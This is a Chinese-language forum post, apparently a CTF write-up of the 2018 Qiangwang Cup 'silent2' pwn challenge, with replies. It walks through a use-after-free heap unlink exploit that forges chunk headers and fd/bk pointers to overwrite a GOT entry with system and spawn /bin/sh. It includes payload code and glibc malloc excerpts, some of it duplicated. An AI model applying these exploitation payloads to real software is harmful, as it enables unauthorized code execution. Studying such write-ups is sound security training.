首页
社区
课程
招聘
[原创]2018强网杯silent2
发表于: 2018-9-26 20:47 7850

[原创]2018强网杯silent2

2018-9-26 20:47
7850
看了雪论坛里一位大佬的writeup,感到一丝迷茫,遂另起炉灶,提供另一种类似的做法,我多加了解释,应该会更加通俗易懂。
发现NX、Canary都开了,但Partial RELRO说明可以修改got表,PIE说明没有地址随机化,就可以直接利用IDA中看到的地址,不需要计算libc偏移了
先看main函数
case1:功能就是create啦
注意到*&s[8*i] = v3这句,说明是用s这个数组来存储堆地址的,并且最多存储10个至少为0x80大小(或0x10)的堆
case2:功能就是删除delete
注意到free后没有给数组该元素设置为0,存在UAF漏洞
case3:功能是编辑edit
可惜这里长度不能自定义,只能根据原堆大小进行写数据,因此光看这里不存在溢出情况。
另外这里奇怪的是往0x602120的bss段中写入48个字符,或许这里也可以做文章,但我做的时候将他忽视。

看完源码后提出以下思路:
目的是执行system('/bin/sh')-->修改某个函数的(strlen或者free等)got表为system_plt-->利用unlink任意地址写

先至少建立5个堆,然后将第4个和第5个堆free掉(不懂的可以参考我在CSDN中的unlink),以在unlink中构成chunk3->chunk0->target_addr的篡改链
create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)

create(0x90,'aaaa')#0
create(0x90,'/bin/sh\x00')#1
create(0x90,'cccc')#2
create(0x90,'dddd')#3
create(0x90,'eeee')#4
delete(3)
delete(4)

然后利用UAF漏洞对第4、5个堆进行伪造
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70    #3  pre_size + size + fd + bk + data
payload +=p64(0x90) + p64(0xa0)    #4    pre_size + size
create(0x130,payload)
这里有个知识点,虽然说malloc后返回的不是头部而是data数据段了,但看源码后才明白需要修改这个头部才能unlink
    if (!prev_inuse(p)) {    //检查size最低位,看是否空闲
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));    //将p前移prevsize个字节
      unlink(av, p, bck, fwd);
    }
这里将指针前移的偏移量为prevsize,也即只能前移到该0x130大chunk的数据段初始位置,因此需要在这里伪造一个头部绕过unlink检查。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");
p64(0) + p64(0x91),关键是这个0x91和0x90大小一致(最低位只表示是否空闲,对实际大小无影响)
接下来就是free来触发unlink了
#unlink
delete(4)
这样一来,就完成了 chunk3->chunk0->target_addr的篡改链
fd = p64(p_addr-0x18)
bk = p64(p_addr-0x10)
payload = p64(0) + p64(0x91) + fd + bk + 'a'*0x70    #3  pre_size + size + fd + bk + data
payload +=p64(0x90) + p64(0xa0)    #4    pre_size + size
create(0x130,payload)
这里有个知识点,虽然说malloc后返回的不是头部而是data数据段了,但看源码后才明白需要修改这个头部才能unlink
    if (!prev_inuse(p)) {    //检查size最低位,看是否空闲
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));    //将p前移prevsize个字节
      unlink(av, p, bck, fwd);
    }
这里将指针前移的偏移量为prevsize,也即只能前移到该0x130大chunk的数据段初始位置,因此需要在这里伪造一个头部绕过unlink检查。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");
p64(0) + p64(0x91),关键是这个0x91和0x90大小一致(最低位只表示是否空闲,对实际大小无影响)
接下来就是free来触发unlink了
#unlink
delete(4)
这样一来,就完成了 chunk3->chunk0->target_addr的篡改链
    if (!prev_inuse(p)) {    //检查size最低位,看是否空闲
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));    //将p前移prevsize个字节
      unlink(av, p, bck, fwd);
    }
这里将指针前移的偏移量为prevsize,也即只能前移到该0x130大chunk的数据段初始位置,因此需要在这里伪造一个头部绕过unlink检查。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-9-27 08:41 被Snowleo编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
最新回复 (3)
雪    币: 2575
活跃值: (502)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
2
学习一下
2018-9-26 21:39
0
雪    币: 10914
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
3
分析的不错,要满足两个条件就可以了
1、实现unlink的条件 
Chunk4: '\x00'*8+p64(0x101)+p64(0x6020d8-0x18)+p64(0x6020d8-0x10)+'A'*(256-32)
Chunk5: p64(0x100)+p64(0x110)+'B'*255
对于chunk4 0x101 表示当前堆块大小(包括头)是0x100, 其前一个堆块为inuse状态
对于chunk5 0x100 表示前一个堆块大小(包括头)是0x100, 0x110表示当前堆块大小为0x110,其前一个堆块为free状态
这样在释放Chunk5 的时候就会把Chunk4 从链表删除,达到unlink目的。
2、绕过指针检测
对Chunk4 unlink时要检测 fd->bk  ==  bk->fd
让Chunk4的fd=0x6020d8-0x18  bk=0x6020d8-0x10
那么其fd->bk= fd+0x18=0x6020d8   bk->fd=bk+0x10= 0x6020d8     这样满足条件了
然后unlink时
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
最后一次指针改写BK->fd = FD 使得 bk->fd 也就是0x6020d8  指向的内容为 fd (0x6020d8-0x18 )即0x6020c0
2018-9-26 21:54
0
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
4
netwind 分析的不错,要满足两个条件就可以了 1、实现unlink的条件 Chunk4: '\x00'*8+p64(0x101)+p64(0x6020d8-0x18)+p64(0x6020d8-0x10) ...
抓住了unlink的关键点,对我的分析进行了很好的详细的补充
2018-9-27 08:33
0
游客
登录 | 注册 方可回帖
返回
//